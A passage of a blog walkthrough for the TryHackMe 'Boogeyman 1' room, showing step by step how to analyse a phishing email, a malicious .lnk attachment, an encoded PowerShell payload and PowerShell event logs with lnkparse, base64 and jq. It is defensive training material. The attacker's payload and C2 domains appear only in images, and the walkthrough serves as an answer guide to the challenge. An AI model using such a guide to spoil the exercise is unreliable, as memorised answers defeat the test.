href=&#34;https://tryhackme.com/r/room/boogeyman1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/boogeyman1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;em&gt;Uncover the secrets of the new emerging threat, the Boogeyman.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In this room, you will be tasked to analyse the Tactics, Techniques, and Procedures (TTPs) executed by a threat group, from obtaining initial access until achieving its objective.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-2emailanalysis&#34;&gt;Task 2 — Email Analysis&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Julianne, a finance employee working for Quick Logistics LLC, received a follow-up email regarding an unpaid invoice from their business partner, B Packaging Inc. Unbeknownst to her, the attached document was malicious and compromised her workstation.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The security team was able to flag the suspicious execution of the attachment, in addition to the phishing reports received from the other finance department employees, making it seem to be a targeted attack on the finance team. Upon checking the latest trends, the initial TTP used for the malicious attachment is attributed to the new threat group named Boogeyman, known for targeting the logistics sector.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You are tasked to analyse and assess the impact of the compromise.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-email-address-used-to-send-the-phishingemail&#34;&gt;Question 1: What is the email address used to send the phishing email?&#xA;&lt;/h3&gt;&lt;p&gt;We’ll jump right into our environment and look at the &lt;em&gt;dump.eml&lt;/em&gt; file. There are number of ways that we can approach header analysis of this email, but let’s just open with the &lt;em&gt;Mozilla Thunderbird&lt;/em&gt; client so that we can get the victim’s perspective.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6bafcd9c152345a070963caa99f432b8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;362px&#34; data-flex-grow=&#34;150&#34; height=&#34;530&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/6bafcd9c152345a070963caa99f432b8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The phishing email.&lt;/p&gt;&#xA;&lt;p&gt;We’ll start out with a simple one and enter the &lt;em&gt;From&lt;/em&gt; field address to answer &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c35831955bd37b49289c293a6b10bd17_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/c35831955bd37b49289c293a6b10bd17_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-email-address-of-thevictim&#34;&gt;Question 2: What is the email address of the victim?&#xA;&lt;/h3&gt;&lt;p&gt;We’ll follow the same process for &lt;strong&gt;Question 2&lt;/strong&gt; except this time we will enter the &lt;em&gt;To&lt;/em&gt; field name which is the recipient address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ce0d0eb3b67b8c35253f25e4035184aa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3000px&#34; data-flex-grow=&#34;1250&#34; height=&#34;64&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/ce0d0eb3b67b8c35253f25e4035184aa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-name-of-the-third-party-mail-relay-service-used-by-the-attacker-based-on-thedkim-signatureandlist-unsubscribeheaders&#34;&gt;Question 3: What is the name of the third-party mail relay service used by the attacker based on the &lt;strong&gt;DKIM-Signature&lt;/strong&gt; and &lt;strong&gt;List-Unsubscribe&lt;/strong&gt; headers?&#xA;&lt;/h3&gt;&lt;p&gt;Now, we need to get more detail beyond what’s shown in the normal, visible headers by viewing the message source.&lt;/p&gt;&#xA;&lt;p&gt;To do this in &lt;em&gt;Thunderbird&lt;/em&gt; press &lt;em&gt;More &amp;gt; View Source.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;08db70480f023cd65d92669c3b5e7744_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;629px&#34; data-flex-grow=&#34;262&#34; height=&#34;305&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/08db70480f023cd65d92669c3b5e7744_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It might look a little scary at first, but let’s use the &lt;em&gt;find&lt;/em&gt; function of the text editor to locate the &lt;strong&gt;DKIM-Signature&lt;/strong&gt; line:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1af20bd6a93a9ee29b6ada1ae60846e1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1018px&#34; data-flex-grow=&#34;424&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/1af20bd6a93a9ee29b6ada1ae60846e1_MD5.png&#34; width=&#34;666&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you would like more information on what &lt;em&gt;DKIM&lt;/em&gt; is or what the header means, refer to the excellent &lt;a class=&#34;link&#34; href=&#34;https://mailtrap.io/blog/email-headers/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Email Headers list from &lt;em&gt;Mailtrap.io&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt; I refer to this list often when I need additional context for email header analysis!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://mailtrap.io/blog/email-headers/&#34;  title=&#34;https://mailtrap.io/blog/email-headers/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Email Headers Explained: Definition, Components, Role [2024]&lt;/strong&gt;&#xA;_Email Headers contain important information and can be useful for improving email deliverability. Learn what they are…_mailtrap.io&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://mailtrap.io/blog/email-headers/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fe2ea3c63f1dbe6b5efb95726ae853f0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/fe2ea3c63f1dbe6b5efb95726ae853f0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-name-of-the-file-inside-the-encrypted-attachment&#34;&gt;Question 4: What is the name of the file inside the encrypted attachment?&#xA;&lt;/h3&gt;&lt;p&gt;Now, let’s download the suspicious &lt;em&gt;ZIP archive&lt;/em&gt; file from the email message and save it to our artefacts folder. If we peek inside of the archive, we’ll see a &lt;em&gt;.lnk&lt;/em&gt; (shortcut) file within it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;30adf108b4d1c764b06944d91915f0e6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;503&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/30adf108b4d1c764b06944d91915f0e6_MD5.png&#34; width=&#34;705&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Very suspicious, indeed! Fortunately, this is enough information to answer &lt;strong&gt;Question 4!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5a179953bdc01d44ab11bde6e0452e3c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/5a179953bdc01d44ab11bde6e0452e3c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-password-of-the-encrypted-attachment&#34;&gt;Question 5: What is the password of the encrypted attachment?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s jump back to &lt;em&gt;Thunderbird&lt;/em&gt; and review the suspicious email sent to the victim. We’ll notice that the sender was kind enough to send us a handy password to open the archive.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;693f4564ebbdf548883b8a3ea9046246_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1355px&#34; data-flex-grow=&#34;564&#34; height=&#34;68&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/693f4564ebbdf548883b8a3ea9046246_MD5.png&#34; width=&#34;384&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the password for the &lt;em&gt;ZIP&lt;/em&gt; file, we will extract the &lt;em&gt;.lnk&lt;/em&gt; file. In the next question, we’ll perform some analysis on this &lt;em&gt;LNK file&lt;/em&gt; in the next question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9935044443f9e9ea6f003b69408c76e9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2493px&#34; data-flex-grow=&#34;1038&#34; height=&#34;77&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/9935044443f9e9ea6f003b69408c76e9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-based-on-the-result-of-the-lnkparse-tool-what-is-the-encoded-payload-found-in-the-command-line-arguments-field&#34;&gt;Question 6: Based on the result of the lnkparse tool, what is the encoded payload found in the Command Line Arguments field?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have extracted the &lt;em&gt;.lnk&lt;/em&gt; from the archive, we’ll parse it and see if we can determine what it does. To do this, we will use the tool suggested in the challenge introduction — &lt;a class=&#34;link&#34; href=&#34;https://github.com/Matmaus/LnkParse3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LnkParse3&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Within our analysis environment, open up the terminal and use the following syntax to parse the file:&lt;/p&gt;&#xA;&lt;p&gt;lnkparse NAME-OF-FILE.lnk&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;42f990b299ad2908349fc11132ada1bc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3000px&#34; data-flex-grow=&#34;1250&#34; height=&#34;64&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/42f990b299ad2908349fc11132ada1bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Scroll through the output and we’ll see something interesting — an encoded &lt;em&gt;PowerShell&lt;/em&gt; command. This is extremely suspicious and definitely requires further investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4d3227e1abf6911fec50eeb961bda569_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3348px&#34; data-flex-grow=&#34;1395&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/4d3227e1abf6911fec50eeb961bda569_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/4d3227e1abf6911fec50eeb961bda569_MD5_hu_2846803c0c82618c.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/4d3227e1abf6911fec50eeb961bda569_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For now, we only need to submit the encoded command to answer &lt;strong&gt;Question 6&lt;/strong&gt; before we move on to investigating the victim’s endpoint device.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;741d26aea1b4034de62ef3c5edf03c08_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2782px&#34; data-flex-grow=&#34;1159&#34; height=&#34;69&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/741d26aea1b4034de62ef3c5edf03c08_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-3endpointsecurity&#34;&gt;Task 3 — Endpoint Security&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Based on the initial findings, we discovered how the malicious attachment compromised Julianne’s workstation:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A PowerShell command was executed.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Decoding the payload reveals the starting point of endpoint activities.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;question-1-what-are-the-domains-used-by-the-attacker-for-file-hosting-and-c2-provide-the-domains-in-alphabetical-order-eg-adomaincombdomaincom&#34;&gt;Question 1: What are the domains used by the attacker for file hosting and C2? Provide the domains in alphabetical order. (e.g. a.domain.com,b.domain.com)&#xA;&lt;/h3&gt;&lt;p&gt;So, we know that a malicious &lt;em&gt;PowerShell&lt;/em&gt; command was executed from the execution of malicious attachment we analyzed in the previous task. To determine the impact of the malicious attachment, we’re going to need to analyze the &lt;em&gt;Windows&lt;/em&gt; &lt;em&gt;PowerShell&lt;/em&gt; event logs.&lt;/p&gt;&#xA;&lt;p&gt;But first, let’s decode the &lt;em&gt;Base64 encoded&lt;/em&gt; payload that we discovered within the attachment. There are a few tools to do this, but for simplicity, I’ll just utilize the &lt;strong&gt;Base64 command&lt;/strong&gt; to decode this in the terminal_:_&lt;/p&gt;&#xA;&lt;p&gt;echo &amp;ldquo;ENCODED STRING&amp;rdquo; | base64 -d&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;377dc3b03ce94050267f8edd8e1e84f3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;7384px&#34; data-flex-grow=&#34;3076&#34; height=&#34;39&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/377dc3b03ce94050267f8edd8e1e84f3_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/377dc3b03ce94050267f8edd8e1e84f3_MD5_hu_c82de6c42e0a0e74.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/377dc3b03ce94050267f8edd8e1e84f3_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s note this &lt;em&gt;URL&lt;/em&gt; and move on to analyzing the &lt;em&gt;PowerShell&lt;/em&gt; logs. We have just a quick detour — remember the note from &lt;strong&gt;Task 1&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Note: The &lt;strong&gt;powershell.json&lt;/strong&gt; file contains JSON-formatted PowerShell logs extracted from its original evtx file via the &lt;a class=&#34;link&#34; href=&#34;https://github.com/Silv3rHorn/evtx2json&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;evtx2json&lt;/a&gt; tool.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, rather than viewing the exported &lt;em&gt;PowerShell Windows Event Log (.evtx)&lt;/em&gt; file, we are going to rely on &lt;a class=&#34;link&#34; href=&#34;https://jqlang.github.io/jq/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;JQ&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; which is a command-line based &lt;em&gt;JSON&lt;/em&gt; parsing tool to parse the &lt;em&gt;PowerShell.json.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;We will start with the simplest option; parsing the JSON file into the beautified output using the syntax below:&lt;/p&gt;&#xA;&lt;p&gt;cat powershell.json | jq&lt;/p&gt;&#xA;&lt;p&gt;Right away, we will see a ton of information but it’s too much output to sift through manually. Let’s filter by events by “&lt;em&gt;ScriptBlockText&lt;/em&gt;” so that we can focus on events with statements that we can analyze.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_script_blocks?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In the PowerShell programming language, a script block is a collection of statements or expressions that can be used as a single unit. The collection of statements can be enclosed in braces (&lt;code&gt;{}&lt;/code&gt;), defined as a function, or saved in a script file. A script block can return values and accept parameters and arguments.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let’s go a step further too. We’ll re-tool our &lt;em&gt;JQ&lt;/em&gt; filter to apply sorting by Timestamp, the &lt;em&gt;ScriptBlockText&lt;/em&gt; field, and remove duplicate entries:&lt;/p&gt;&#xA;&lt;p&gt;cat powershell.json | jq -s -c &amp;lsquo;sort_by(.Timestamp) | .[] | {ScriptBlockText}&amp;rsquo; | sort | uniq&lt;/p&gt;&#xA;&lt;p&gt;While this still returns a lot of output, we’ve filtered to the most relevant output for our search. In particular, there are a couple of interesting lines that are requesting data with different URLs — one uses &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Invoke-WebRequest&lt;/em&gt;&lt;/a&gt; and the other &lt;em&gt;t_hat we already found by decoding the &lt;em&gt;Base64&lt;/em&gt; command uses &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-8.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;WebClient&lt;/em&gt;&lt;/a&gt;&lt;/em&gt;._&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;625843a37b35e562cf61650f47a83f81_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;481px&#34; data-flex-grow=&#34;200&#34; height=&#34;399&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/625843a37b35e562cf61650f47a83f81_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;These are the two &lt;em&gt;command and control (C2)&lt;/em&gt; domains that we are looking for to answer &lt;strong&gt;Question 1&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f1690a3f55be9a97cd3d6444776848f0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/f1690a3f55be9a97cd3d6444776848f0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-name-of-the-enumeration-tool-downloaded-by-the-attacker&#34;&gt;Question 2: What is the name of the enumeration tool downloaded by the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;We’ll keep with the same &lt;strong&gt;JQ&lt;/strong&gt; output since we actually saw this earlier while looking for the C2 URLs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;abac31be8d925d42f4ac1d4f75825497_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;16941px&#34; data-flex-grow=&#34;7058&#34; height=&#34;17&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/abac31be8d925d42f4ac1d4f75825497_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/abac31be8d925d42f4ac1d4f75825497_MD5_hu_e645e12028b7773f.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/abac31be8d925d42f4ac1d4f75825497_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The attacker downloaded a tool from a &lt;em&gt;GitHub Repository&lt;/em&gt;, but is it an enumeration tool? Let’s do some research to find out.&lt;/p&gt;&#xA;&lt;p&gt;See the name of the &lt;em&gt;.ps1&lt;/em&gt; file referenced at the end of the command? Navigate to the &lt;em&gt;GitHub&lt;/em&gt; repository and we can locate the separate repository for referenced tool!&lt;/p&gt;&#xA;&lt;p&gt;We’ll do some quick reading through the documentation for this project to discover that the tool does contain some enumeration function using &lt;em&gt;WMI -&lt;/em&gt; this confirms that we discovered the correct tool!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;dd06f24ce9f9d6f59b5ee4465634de41_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/dd06f24ce9f9d6f59b5ee4465634de41_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-file-accessed-by-the-attacker-using-the-downloadedsq3exebinary-provide-the-full-file-path-with-escaped-backslashes&#34;&gt;Question 3: What is the file accessed by the attacker using the downloaded &lt;strong&gt;sq3.exe&lt;/strong&gt; binary? Provide the full file path with escaped backslashes.&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now we are looking for a specific executable. We’ll keep with using &lt;em&gt;JQ&lt;/em&gt; but we need to adjust our scope. What if we &lt;em&gt;grep&lt;/em&gt; the output to display only results containing &lt;em&gt;sq3.exe?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;cat powershell.json | jq &amp;lsquo;{ScriptBlockText}&amp;rsquo; | grep &amp;ldquo;sq3.exe&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;31a6915fa8cd8b31e8b021c29a8f8391_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;9600px&#34; data-flex-grow=&#34;4000&#34; height=&#34;30&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/31a6915fa8cd8b31e8b021c29a8f8391_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/31a6915fa8cd8b31e8b021c29a8f8391_MD5_hu_fe708e94fb8b1c38.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/31a6915fa8cd8b31e8b021c29a8f8391_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey, that’s getting us closer! We found a file that the executable accessed. Now all we need to know is the user account name to add to the front of the path. We’ll use the same command as before but revise the &lt;em&gt;grep&lt;/em&gt; to the &lt;em&gt;change directory (cd)&lt;/em&gt; command. This should help us understand how the attacker traversed the victim’s directories and disclose a valid profile name.&lt;/p&gt;&#xA;&lt;p&gt;cat powershell.json | jq &amp;lsquo;{ScriptBlockText}&amp;rsquo; | grep &amp;ldquo;cd&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;038ed49f28d5fb56be8a2f7c15578881_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2823px&#34; data-flex-grow=&#34;1176&#34; height=&#34;68&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/038ed49f28d5fb56be8a2f7c15578881_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here, we’ll find references to a user profile name. Append this profile name to the path we found earlier accessed by &lt;em&gt;sq3.exe&lt;/em&gt; to form our answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d16d9cfa7c54451aa87dc50f424fcc98_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/d16d9cfa7c54451aa87dc50f424fcc98_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-software-that-uses-the-file-inq3&#34;&gt;Question 4: What is the software that uses the file in Q3?&#xA;&lt;/h3&gt;&lt;p&gt;To answer this question, look at the file path from the previous question:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;31a6915fa8cd8b31e8b021c29a8f8391_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;9600px&#34; data-flex-grow=&#34;4000&#34; height=&#34;30&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/31a6915fa8cd8b31e8b021c29a8f8391_MD5.png&#34; 